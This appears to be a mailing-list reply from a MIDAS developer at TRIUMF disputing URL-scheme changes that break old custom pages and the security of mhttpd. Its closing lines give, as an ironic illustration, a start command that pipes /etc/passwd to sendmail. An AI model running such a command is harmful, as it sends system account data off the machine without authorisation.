I stop the discussion here because it goes in circles. We can't convince each others, so somebody has to give up, and that's me.

> We have several large installations at TRIUMF that use the old-style custom pages - MUSR, BNMR/BNQR, TITAN (and more?) -
> none of these experiments are going away any time soon and none of these custom pages are rewriting themselves.

Then you have a problem. Last time I told you that the new URL scheme breaks parts of the custom pages, especially the ones containing GIF images with labels on it. You then said "these experiments have to bite the bullet and 
change it", and I proceeded. Now you tell me that this will not happen. So please be aware that these experiments do have a problem and probably are stuck with an older midas version.

> > This area is much better protected than the ODB, since people have to physically log into 
> > a machine to change it.
> 
> Nope. You can create symlinks from mhttpd by putting running the "ln -s" command from ODB "/Programs/xxx/Start Command"

You can also set a start command "cat /etc/passwd | sendmail me@triumf.ca" and you get the password file ;-)

Stefan